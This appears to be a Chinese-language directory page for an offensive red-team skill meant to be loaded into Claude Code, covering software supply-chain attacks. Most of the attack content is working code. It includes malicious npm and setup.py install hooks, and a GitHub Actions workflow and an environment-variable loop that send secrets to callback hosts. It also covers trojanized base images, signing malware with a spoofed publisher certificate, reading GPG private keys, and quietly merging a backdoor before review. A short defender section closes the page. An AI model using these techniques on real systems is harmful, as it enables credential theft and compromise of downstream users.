mcpField
O
offensive-supply-chain

offensive-supply-chain

github.com/snailsploit安全9.7k144 次安装2 周前更新
代码仓库

关于 offensive-supply-chain

用于授权红队评估软件供应链的进攻性安全技能,面向安全测试人员。涵盖包解析、构建钩子、CI/CD 制品、容器镜像及防御措施。

主要功能

  1. 01依赖混淆评估
  2. 02拼写仿冒技术
  3. 03构建钩子分析
  4. 04CI/CD 制品篡改
  5. 05容器镜像供应链攻击
  6. 06检测与加固建议

适用场景

  1. 01审计包注册表解析行为
  2. 02测试构建与安装脚本
  3. 03评估 CI/CD 制品可信度
  4. 04检查容器镜像完整性

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/snailsploit/claude-red --skill offensive-supply-chain

安装后在 Claude Code 中输入/offensive-supply-chain确认已加载。

详细介绍

软件供应链攻击

软件供应链攻击利用开发者、软件包注册表、构建系统和部署流水线之间的信任关系。攻击者的目标是组织所依赖、却很少像审计自有代码那样严格审计的组件和流程。单个被攻陷的依赖项就可能传播到数千个下游使用者,使供应链成为现代软件生态系统中杠杆效应最高的攻击面。

本技能涵盖攻击生命周期:侦察内部软件包名称、利用注册表解析逻辑、滥用构建系统钩子、篡改 CI/CD 流水线,以及攻击容器镜像供应链。每种技术都对应授权红队演练模式,并采用安全的回连机制。

快速工作流

  1. 从目标资产(锁定文件、源映射、错误消息、GitHub 仓库)中枚举内部软件包名称。
  2. 识别软件包生态系统(npm、PyPI、NuGet、Maven、Go、Ruby)和注册表配置。
  3. 选择攻击向量:依赖混淆、仿冒相似名称、构建钩子注入、篡改 CI/CD,或容器供应链攻击。
  4. 准备安全的概念验证软件包,使用 DNS 金丝雀或 HTTP 回调,不包含破坏性载荷。
  5. 在公共注册表注册该软件包,或暂存待注入的构件。
  6. 监控回调,以确认目标环境中发生了执行。
  7. 记录攻击路径、受影响的系统和修复建议。

依赖混淆

依赖混淆利用组织同时使用私有和公共软件包注册表时的解析顺序。如果私有注册表未配置为唯一来源,软件包管理器可能会优先选择版本号更高的公共软件包,而非内部软件包。

npm 依赖混淆

当项目引用未使用作用域的私有软件包,且 .npmrc 未将注册表固定为唯一来源时,npm 会回退到公共注册表。

# Recon: extract package names from package-lock.json or yarn.lock
cat package-lock.json | jq -r '.dependencies | keys[]' | sort -u > pkg_names.txt

# Check which names are unclaimed on the public npm registry
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$pkg")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pkg_names.txt
// Malicious package.json with high version to win resolution
{
  "name": "internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://your-canary.oastify.com/npm-$(hostname)-$(whoami)"
  }
}
PyPI 依赖混淆

Python 的 pip 默认从 PyPI 解析软件包。当组织使用 --extra-index-url 添加私有注册表时,pip 会同时考虑两个索引,并选择版本号最高的软件包。

# Recon: extract internal package names from requirements.txt or setup.cfg
grep -v '^#' requirements.txt | grep -v '^\s*$' | \
  sed 's/[>=<].*//' | sed 's/\[.*//' | tr -d ' ' > pypi_names.txt

# Check availability on public PyPI
while read pkg; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://pypi.org/pypi/$pkg/json")
  if [ "$status" = "404" ]; then
    echo "[AVAILABLE] $pkg"
  fi
done < pypi_names.txt
# setup.py with install hook for safe callback
from setuptools import setup
from setuptools.command.install import install
import os, socket, urllib.request

class PostInstall(install):
    def run(self):
        install.run(self)
        hostname = socket.gethostname()
        user = os.getenv("USER", "unknown")
        urllib.request.urlopen(
            f"https://your-canary.oastify.com/pypi-{hostname}-{user}"
        )

setup(
    name="internal-data-lib",
    version="99.0.0",
    cmdclass={"install": PostInstall},
)
NuGet 源优先级

NuGet 会从多个已配置的软件包源进行解析。如果私有源与 nuget.org 一并列出,则会选择所有软件包源中版本号最高的软件包。


<configuration>
  <packageSources>
    <add key="nuget.org" value="https://api.nuget.org/v3/index.json" />
    <add key="internal" value="https://pkgs.corp.example.com/nuget/v3/index.json" />
  </packageSources>
</configuration>
# Check NuGet public registry for unclaimed names
curl -s "https://api.nuget.org/v3-flatcontainer/corp.internal.auth/index.json" \
  | jq '.versions'
# Empty or 404 means the name is available
使用 confused 自动扫描
# Install confused (Go-based dependency confusion scanner)
go install github.com/visma-prodsec/confused@latest

# Scan npm lock file for confusable packages
confused -l npm package-lock.json

# Scan Python requirements
confused -l pip requirements.txt

# Scan NuGet packages.config
confused -l nuget packages.config

仿冒相似名称攻击

仿冒相似名称利用开发者安装时输错软件包名称的情况。攻击者注册常见拼写错误、连字符/下划线变体或流行软件包复数形式差异的名称。

# Generate typosquat candidates for a target package
target="requests"
echo "${target}s"
echo "${target}1"
echo "${target}-python"
echo "python-${target}"
echo "${target/e/3}"
echo "${target}lib"
echo "${target}-utils"
# setup.py for a typosquat PoC -- safe callback only
from setuptools import setup
from setuptools.command.install import install
import urllib.request, socket

class Callback(install):
    def run(self):
        install.run(self)
        h = socket.gethostname()
        urllib.request.urlopen(f"https://canary.example.com/typo-{h}")

setup(
    name="reqeusts",  # common transposition typo
    version="2.31.0",
    description="This is a security research package.",
    cmdclass={"install": Callback},
    python_requires=">=3.6",
)
// package.json for npm typosquat PoC
{
  "name": "loadash",
  "version": "4.17.21",
  "description": "Security research package - typosquat detection",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://canary.example.com/npm-typo-' + require('os').hostname())\""
  }
}

构建系统攻击

构建系统会在编译、安装和打包过程中执行任意代码。攻击者以开发者构建或安装依赖项时隐式运行的钩子和脚本为目标。

Makefile 注入
# Injected target that runs before the default build
.PHONY: all
all: backdoor build

backdoor:
	@curl -s https://canary.example.com/make-$$(hostname) > /dev/null 2>&1

build:
	gcc -o app main.c
setup.py 安装钩子(Python)
# setup.py with multiple hook points
from setuptools import setup
from setuptools.command.install import install
from setuptools.command.develop import develop
from setuptools.command.egg_info import egg_info

def callback():
    import urllib.request, socket
    urllib.request.urlopen(
        f"https://canary.example.com/setup-{socket.gethostname()}"
    )

class InstallHook(install):
    def run(self):
        callback()
        install.run(self)

class DevelopHook(develop):
    def run(self):
        callback()
        develop.run(self)

class EggInfoHook(egg_info):
    def run(self):
        callback()
        egg_info.run(self)

setup(
    name="compromised-lib",
    version="1.0.0",
    cmdclass={
        "install": InstallHook,
        "develop": DevelopHook,
        "egg_info": EggInfoHook,
    },
)
npm postinstall / preinstall 脚本
{
  "name": "compromised-module",
  "version": "1.0.0",
  "scripts": {
    "preinstall": "node callback.js",
    "postinstall": "node callback.js",
    "prepare": "node callback.js"
  }
}
// callback.js -- safe exfiltration of environment metadata
const https = require('https');
const os = require('os');

const data = JSON.stringify({
  hostname: os.hostname(),
  user: os.userInfo().username,
  platform: os.platform(),
  cwd: process.cwd(),
  env_ci: process.env.CI || "false",
  env_build_id: process.env.BUILD_ID || "none"
});

const req = https.request({
  hostname: 'canary.example.com',
  port: 443,
  path: '/npm-postinstall',
  method: 'POST',
  headers: { 'Content-Type': 'application/json' }
}, () => {});
req.write(data);
req.end();

CI/CD 构件篡改

CI/CD 流水线会生成下游系统在默认信任下使用的构件——二进制文件、容器镜像、软件包。攻击者以构件的存储、传输和验证阶段为目标。

GitHub Actions 工作流注入
# Malicious workflow exploiting pull_request_target
name: Build
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      # Attacker-controlled code now runs with repo secrets
      - run: |
          curl -s -d "token=${{ secrets.DEPLOY_TOKEN }}" \
            https://canary.example.com/gha-secrets
替换存储中的构件
# If artifact storage uses predictable paths or weak auth
# Replace a legitimate build artifact with a trojanized version
aws s3 cp trojanized-app.tar.gz s3://build-artifacts/releases/app-latest.tar.gz

# Verify no integrity checks exist
curl -s https://releases.example.com/app-latest.tar.gz.sha256
# 404 -- no checksum published, replacement goes undetected
提取流水线机密
# In a compromised CI job, enumerate available secrets
env | grep -iE '(token|secret|key|pass|api)' | \
  while read line; do
    curl -s "https://canary.example.com/ci-env?$(echo $line | base64 -w0)"
  done

容器镜像供应链

容器注册表和基础镜像构成了另一条供应链。攻击者以镜像拉取解析、基础镜像完整性和注册表身份验证为目标。

在基础镜像中植入木马
# Attacker publishes a trojanized version of a common base image
FROM ubuntu:22.04

# Inject persistence into the base image
RUN apt-get update && apt-get install -y curl && \
    echo '#!/bin/bash' > /usr/local/bin/entrypoint-hook.sh && \
    echo 'curl -s https://canary.example.com/container-$(hostname) &' >> /usr/local/bin/entrypoint-hook.sh && \
    echo 'exec "$@"' >> /usr/local/bin/entrypoint-hook.sh && \
    chmod +x /usr/local/bin/entrypoint-hook.sh

ENTRYPOINT ["/usr/local/bin/entrypoint-hook.sh"]
注册表混淆
# If Dockerfile uses unqualified image names, Docker resolves from Docker Hub
# A private registry image "myapp/backend" can be shadowed
docker pull myapp/backend  # resolves to docker.io/myapp/backend

# Attacker registers docker.io/myapp/backend with a trojanized image
# Targets that do not pin their registry prefix pull the attacker image
镜像标签可变性攻击
# Tags are mutable -- attacker with registry write access replaces a tag
# Target pulls "myimage:latest" or "myimage:v1.2" and gets the trojanized version

# Verify image digest before and after
docker inspect --format='{{index .RepoDigests 0}}' myimage:v1.2
# Compare against known-good digest
# sha256:abc123... vs sha256:def456... indicates tampering

滥用代码签名

代码签名可保证真实性,但签名基础设施本身也构成攻击面。

# Generate a self-signed certificate mimicking a legitimate publisher
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 \
  -subj "/CN=Trusted Publisher Inc/O=Trusted Publisher/C=US" -nodes

# Sign a malicious binary (Windows Authenticode example)
osslsigncode sign -certs cert.pem -key key.pem \
  -n "Legitimate Application" -i https://legitimate-publisher.com \
  -in malicious.exe -out signed-malicious.exe

# Many systems check "is it signed?" but not "by whom?"
# Steal signing keys from CI/CD environment variables
# Common locations for code signing secrets
echo $SIGNING_KEY
echo $CODE_SIGN_CERT
echo $GPG_PRIVATE_KEY
cat ~/.gnupg/private-keys-v1.d/*

上游仓库遭入侵

攻陷广泛使用的依赖项的源代码仓库,就能在所有更新该依赖项的下游使用者中执行代码。

# Enumerate maintainer accounts with weak security
# Look for maintainers without 2FA, reused passwords, or abandoned emails
# Check npm package maintainers
npm view lodash maintainers

# Check GitHub commit signing
git log --show-signature -5

# Unsigned commits mean a compromised account can push without detection
# After gaining maintainer access, inject a subtle backdoor
# Modify a rarely-reviewed utility function
git checkout -b patch-perf-improvement
# Edit a deeply nested file
# Commit with a benign-looking message
git commit -m "perf: optimize string comparison for edge cases"
git push origin patch-perf-improvement
# Create a PR and merge quickly before review

检测 / 防御者视角

防御者应实施以下控制措施,以检测和防止供应链攻击:

  1. 注册表固定:将包管理器配置为仅使用私有注册表作为唯一来源。对于 npm,使用作用域包。对于 pip,使用 --index-url(而非 --extra-index-url)。对于 NuGet,在添加源之前使用 <clear />。

  2. 锁文件完整性:监控锁文件,检查包来源、版本或校验和是否发生意外变更。要求在拉取请求中审查锁文件。

  3. 构建可复现性:实施可复现构建,并在独立的构建环境之间比较制品。

  4. 依赖项扫描:在 CI 流水线中运行 dependency-check、npm audit、pip-audit 或 Snyk,以发现已知存在漏洞和可疑的包。

  5. 镜像固定:通过摘要而非标签引用容器镜像。使用 image: registry.example.com/app@sha256:abc123...,而不是 :latest。

  6. Sigstore / cosign:验证容器镜像签名和 SBOM。监控未经签名的镜像是否进入生产环境。

  7. CI/CD 加固:限制 pull_request_target 触发条件,通过提交 SHA 固定操作版本,审计工作流权限,并轮换密钥。

  8. 内部包名预留:主动在公共注册表上注册带占位内容的内部包名,以防止他人抢注。

# Detect dependency confusion attempts with confused
confused -l npm package-lock.json 2>&1 | grep "could be"

# Monitor for unexpected outbound DNS/HTTP from build environments
# Alert on connections to unknown domains during install/build phases

# Audit npm packages for install scripts
npm pack <package> && tar -xzf *.tgz && cat package/package.json | jq '.scripts'

参与测试速查表

阶段操作风险等级
侦察从锁文件中提取内部包名低
侦察检查公共注册表中的可用性低
准备注册带有 DNS canary 回连的 PoC 包中
利用等待目标在依赖混淆的情况下安装 / 构建中
验证确认收到回连,记录范围低
清理从公共注册表中移除 PoC 包低
报告记录攻击路径和修复步骤低

安全 PoC 指南:

  • 使用 DNS canary(Burp Collaborator、interactsh 或自定义工具)进行回连。
  • 绝不部署破坏性载荷。仅外传主机名和用户名。
  • 注册包时,注明清晰的安全研究说明。
  • 在测试周期内,从公共注册表中移除所有 PoC 包。
  • 在向公共注册表发布包之前,与目标方的安全团队协调。

MITRE ATT&CK 映射:

  • T1195.001 -- 入侵软件依赖项和开发工具
  • T1195.002 -- 入侵软件供应链
  • T1059.006 -- 命令和脚本解释器:Python(setup.py 钩子)
  • T1059.007 -- 命令和脚本解释器:JavaScript(npm 脚本)

关键参考资料

评论

支持 Markdown